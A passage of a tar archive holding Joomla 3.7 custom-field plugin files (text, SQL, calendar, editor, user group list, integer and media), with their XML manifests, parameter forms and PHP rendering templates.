				name="filter"
				type="list"
				label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL"
				description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC"
				class="btn-group"
				validate="options"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="0">JNO</option>
				<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
				<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
				<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
				<option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option>
				<option value="integer">JLIB_FILTER_PARAMS_INTEGER</option>
				<option value="float">JLIB_FILTER_PARAMS_FLOAT</option>
				<option value="tel">JLIB_FILTER_PARAMS_TEL</option>
			</field>

			<field
				name="maxlength"
				type="number"
				label="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_LABEL"
				description="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_DESC"
				filter="integer"
			/>
		</fieldset>
	</fields>
</form>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   fields/text/text.xml                                                                                0000705                 00000003473 15242051521 0010506 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_text</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_TEXT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="text">text.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_text.ini</language>
		<language tag="en-GB">en-GB.plg_fields_text.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="filter"
					type="list"
					label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL"
					description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC"
					class="btn-group"
					default="JComponentHelper::filterText"
					validate="options"
					>
					<option value="0">JNO</option>
					<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
					<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
					<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
					<option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option>
					<option value="integer">JLIB_FILTER_PARAMS_INTEGER</option>
					<option value="float">JLIB_FILTER_PARAMS_FLOAT</option>
					<option value="tel">JLIB_FILTER_PARAMS_TEL</option>
				</field>

				<field
					name="maxlength"
					type="number"
					label="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_LABEL"
					description="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_DESC"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                     fields/text/text.php                                                                                0000705                 00000000670 15242051521 0010471 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Text
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Text Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsText extends FieldsPlugin
{
}
                                                                        fields/sql/params/sql.xml                                                                           0000705                 00000001223 15242051521 0011406 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="query"
				type="textarea"
				label="PLG_FIELDS_SQL_PARAMS_QUERY_LABEL"
				description="PLG_FIELDS_SQL_PARAMS_QUERY_DESC"
				filter="raw"
				rows="10"
				required="true"
			/>

			<field
				name="multiple"
				type="list"
				label="PLG_FIELDS_SQL_PARAMS_MULTIPLE_LABEL"
				description="PLG_FIELDS_SQL_PARAMS_MULTIPLE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
                                                                                                                                                                                                                                                                                                                                                                             fields/sql/sql.xml                                                                                  0000705                 00000002643 15242051521 0010132 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_sql</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_SQL_XML_DESCRIPTION</description>
	<files>
		<filename plugin="sql">sql.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_sql.ini</language>
		<language tag="en-GB">en-GB.plg_fields_sql.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="query"
					type="textarea"
					label="PLG_FIELDS_SQL_PARAMS_QUERY_LABEL"
					description="PLG_FIELDS_SQL_PARAMS_QUERY_DESC"
					rows="10"
					filter="raw"
					required="true"
				/>

				<field
					name="multiple"
					type="radio"
					label="PLG_FIELDS_SQL_PARAMS_MULTIPLE_LABEL"
					description="PLG_FIELDS_SQL_PARAMS_MULTIPLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                             fields/sql/sql.php                                                                                  0000705                 00000003516 15242051521 0010121 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Sql
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Sql Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsSql extends FieldsListPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('value_field', 'text');
		$fieldNode->setAttribute('key_field', 'value');

		return $fieldNode;
	}

	/**
	 * The save event.
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $item     The table
	 * @param   boolean  $isNew    Is new item
	 * @param   array    $data     The validated data
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onContentBeforeSave($context, $item, $isNew, $data = array())
	{
		// Only work on new SQL fields
		if ($context != 'com_fields.field' || !isset($item->type) || $item->type != 'sql')
		{
			return true;
		}

		// If we are not a super admin, don't let the user create or update a SQL field
		if (!JAccess::getAssetRules(1)->allow('core.admin', JFactory::getUser()->getAuthorisedGroups()))
		{
			$item->setError(JText::_('PLG_FIELDS_SQL_CREATE_NOT_POSSIBLE'));

			return false;
		}

		return true;
	}
}
                                                                                                                                                                                  fields/sql/tmpl/sql.php                                                                             0000705                 00000001754 15242051521 0011077 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Sql
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

$db        = JFactory::getDbo();
$value     = (array) $value;
$condition = '';

foreach ($value as $v)
{
	if (!$v)
	{
		continue;
	}

	$condition .= ', ' . $db->q($v);
}

$query = $fieldParams->get('query', '');

// Run the query with a having condition because it supports aliases
$db->setQuery($query . ' having value in (' . trim($condition, ',') . ')');

try
{
	$items = $db->loadObjectlist();
}
catch (Exception $e)
{
	// If the query failed, we fetch all elements
	$db->setQuery($query);
	$items = $db->loadObjectlist();
}

$texts = array();

foreach ($items as $item)
{
	if (in_array($item->value, $value))
	{
		$texts[] = $item->text;
	}
}

echo htmlentities(implode(', ', $texts));
                    fields/calendar/calendar.xml                                                                        0000705                 00000001504 15242051521 0012051 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_calendar</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_CALENDAR_XML_DESCRIPTION</description>
	<files>
		<filename plugin="calendar">calendar.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_calendar.ini</language>
		<language tag="en-GB">en-GB.plg_fields_calendar.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                            fields/calendar/calendar.php                                                                        0000705                 00000002361 15242051521 0012042 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Calendar
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Calendar Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsCalendar extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		// Set filter to user UTC
		$fieldNode->setAttribute('filter', 'USER_UTC');

		// Set field to use translated formats
		$fieldNode->setAttribute('translateformat', '1');
		$fieldNode->setAttribute('showtime', $field->fieldparams->get('showtime', 0) ? 'true' : 'false');

		return $fieldNode;
	}
}
                                                                                                                                                                                                                                                                               fields/calendar/tmpl/calendar.php                                                                   0000705                 00000001044 15242051521 0013013 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Calendar
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

if (is_array($value))
{
	$value = implode(', ', $value);
}

$formatString =  $field->fieldparams->get('showtime', 0) ? 'DATE_FORMAT_LC5' : 'DATE_FORMAT_LC4';

echo htmlentities(JHtml::_('date', $value, JText::_($formatString)));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            fields/calendar/params/calendar.xml                                                                 0000705                 00000000720 15242051521 0013333 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="showtime"
				type="radio"
				label="PLG_FIELDS_CALENDAR_PARAMS_SHOWTIME_LABEL"
				description="PLG_FIELDS_CALENDAR_PARAMS_SHOWTIME_DESC"
				class="btn-group btn-group-yesno"
				default="0"
				filter="integer"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
                                                fields/editor/params/editor.xml                                                                     0000705                 00000002746 15242051521 0012577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="buttons"
				type="list"
				label="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_LABEL"
				description="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="hide"
				type="plugins"
				label="PLG_FIELDS_EDITOR_PARAMS_BUTTONS_HIDE_LABEL"
				description="JGLOBAL_SELECT_SOME_OPTIONS"
				folder="editors-xtd"
				multiple="true"
			/>

			<field
				name="width"
				type="text"
				label="PLG_FIELDS_EDITOR_PARAMS_WIDTH_LABEL"
				description="PLG_FIELDS_EDITOR_PARAMS_WIDTH_DESC"
				size="5"
			/>

			<field
				name="height"
				type="text"
				label="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_LABEL"
				description="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_DESC"
				size="5"
			/>

			<field
				name="filter"
				type="list"
				label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL"
				description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC"
				class="btn-group"
				validate="options"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="0">JNO</option>
				<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
				<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
				<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
			</field>
		</fieldset>
	</fields>
</form>
                          fields/editor/tmpl/editor.php                                                                       0000705                 00000000546 15242051521 0012253 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Editor
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

echo JHtml::_('content.prepare', $value);
                                                                                                                                                          fields/editor/editor.xml                                                                            0000705                 00000004501 15242051521 0011303 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_editor</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_EDITOR_XML_DESCRIPTION</description>
	<files>
		<filename plugin="editor">editor.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_editor.ini</language>
		<language tag="en-GB">en-GB.plg_fields_editor.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="buttons"
					type="radio"
					label="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_LABEL"
					description="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="hide"
					type="plugins"
					label="PLG_FIELDS_EDITOR_PARAMS_BUTTONS_HIDE_LABEL"
					description="JGLOBAL_SELECT_SOME_OPTIONS"
					folder="editors-xtd"
					multiple="true"
				/>

				<field
					name="width"
					type="text"
					label="PLG_FIELDS_EDITOR_PARAMS_WIDTH_LABEL"
					description="PLG_FIELDS_EDITOR_PARAMS_WIDTH_DESC"
					default="100%"
					size="5"
				/>

				<field
					name="height"
					type="text"
					label="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_LABEL"
					description="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_DESC"
					default="250px"
					size="5"
				/>

				<field
					name="filter"
					type="list"
					label="PLG_FIELDS_EDITOR_PARAMS_FILTER_LABEL"
					description="PLG_FIELDS_EDITOR_PARAMS_FILTER_DESC"
					class="btn-group"
					default="JComponentHelper::filterText"
					validate="options"
					>
					<option value="0">JNO</option>
					<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
					<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
					<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                               fields/editor/editor.php                                                                            0000705                 00000002271 15242051521 0011274 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Editor
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Editor Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsEditor extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('buttons', $field->fieldparams->get('buttons', $this->params->get('buttons', 0)) ? 'true' : 'false');
		$fieldNode->setAttribute('hide', implode(',', $field->fieldparams->get('hide', array())));

		return $fieldNode;
	}
}
                                                                                                                                                                                                                                                                                                                                       fields/usergrouplist/tmpl/usergrouplist.php                                                         0000705                 00000001245 15242051521 0015352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Usergrouplist
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

JLoader::register('UsersHelper', JPATH_ADMINISTRATOR . '/components/com_users/helpers/users.php');

$value  = (array) $value;
$texts  = array();
$groups = UsersHelper::getGroups();

foreach ($groups as $group)
{
	if (in_array($group->value, $value))
	{
		$texts[] = htmlentities(trim($group->text, '- '));
	}
}

echo htmlentities(implode(', ', $texts));
                                                                                                                                                                                                                                                                                                                                                           fields/usergrouplist/params/usergrouplist.xml                                                       0000705                 00000000735 15242051521 0015675 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="multiple"
				type="list"
				label="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_LABEL"
				description="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
                                   fields/usergrouplist/usergrouplist.php                                                              0000705                 00000000723 15242051521 0014376 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Usergrouplist
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Usergrouplist Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsUsergrouplist extends FieldsPlugin
{
}
                                             fields/usergrouplist/usergrouplist.xml                                                              0000705                 00000002440 15242051521 0014405 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_usergrouplist</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_USERGROUPLIST_XML_DESCRIPTION</description>
	<files>
		<filename plugin="usergrouplist">usergrouplist.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_usergrouplist.ini</language>
		<language tag="en-GB">en-GB.plg_fields_usergrouplist.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="multiple"
					type="radio"
					label="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_LABEL"
					description="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                fields/integer/params/integer.xml                                                                   0000705                 00000002010 15242051521 0013075 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="multiple"
				type="list"
				label="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_LABEL"
				description="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="first"
				type="number"
				label="PLG_FIELDS_INTEGER_PARAMS_FIRST_LABEL"
				description="PLG_FIELDS_INTEGER_PARAMS_FIRST_DESC"
				filter="integer"
				size="5"
			/>

			<field
				name="last"
				type="number"
				label="PLG_FIELDS_INTEGER_PARAMS_LAST_LABEL"
				description="PLG_FIELDS_INTEGER_PARAMS_LAST_DESC"
				filter="integer"
				size="5"
			/>

			<field
				name="step"
				type="number"
				label="PLG_FIELDS_INTEGER_PARAMS_STEP_LABEL"
				description="PLG_FIELDS_INTEGER_PARAMS_STEP_DESC"
				filter="integer"
				size="5"
			/>
		</fieldset>
	</fields>
</form>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        fields/integer/integer.xml                                                                          0000705                 00000003564 15242051521 0011631 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_integer</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_INTEGER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="integer">integer.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_integer.ini</language>
		<language tag="en-GB">en-GB.plg_fields_integer.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="multiple"
					type="radio"
					label="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_LABEL"
					description="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="first"
					type="number"
					label="PLG_FIELDS_INTEGER_PARAMS_FIRST_LABEL"
					description="PLG_FIELDS_INTEGER_PARAMS_FIRST_DESC"
					default="1"
					filter="integer"
					size="5"
				/>

				<field
					name="last"
					type="number"
					label="PLG_FIELDS_INTEGER_PARAMS_LAST_LABEL"
					description="PLG_FIELDS_INTEGER_PARAMS_LAST_DESC"
					default="100"
					filter="integer"
					size="5"
				/>

				<field
					name="step"
					type="number"
					label="PLG_FIELDS_INTEGER_PARAMS_STEP_LABEL"
					description="PLG_FIELDS_INTEGER_PARAMS_STEP_DESC"
					default="1"
					filter="integer"
					size="5"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                            fields/integer/integer.php                                                                          0000705                 00000000701 15242051521 0011606 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Integer
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Integer Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsInteger extends FieldsPlugin
{
}
                                                               fields/integer/tmpl/integer.php                                                                     0000705                 00000000675 15242051521 0012574 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Integer
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

if (is_array($value))
{
	$value = implode(', ', array_map('intval', $value));
}
else
{
	$value = (int) $value;
}

echo $value;
                                                                   fields/media/params/media.xml                                                                       0000705                 00000001720 15242051521 0012150 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="directory"
				type="folderlist"
				label="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_LABEL"
				description="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_DESC"
				directory="images"
				hide_none="true"
				recursive="true"
			/>

			<field
				name="preview"
				type="list"
				label="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_LABEL"
				description="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_DESC"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="tooltip">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_TOOLTIP</option>
				<option value="true">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_INLINE</option>
				<option value="false">JNO</option>
			</field>

			<field
				name="image_class"
				type="textarea"
				label="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_LABEL"
				description="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_DESC"
				size="40"
			/>
		</fieldset>
	</fields>
</form>
                                                fields/media/media.php                                                                              0000705                 00000002014 15242051521 0010651 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Media
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Media Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsMedia extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('hide_default', 'true');

		return $fieldNode;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    fields/media/media.xml                                                                              0000705                 00000003350 15242051521 0010666 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_media</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_MEDIA_XML_DESCRIPTION</description>
	<files>
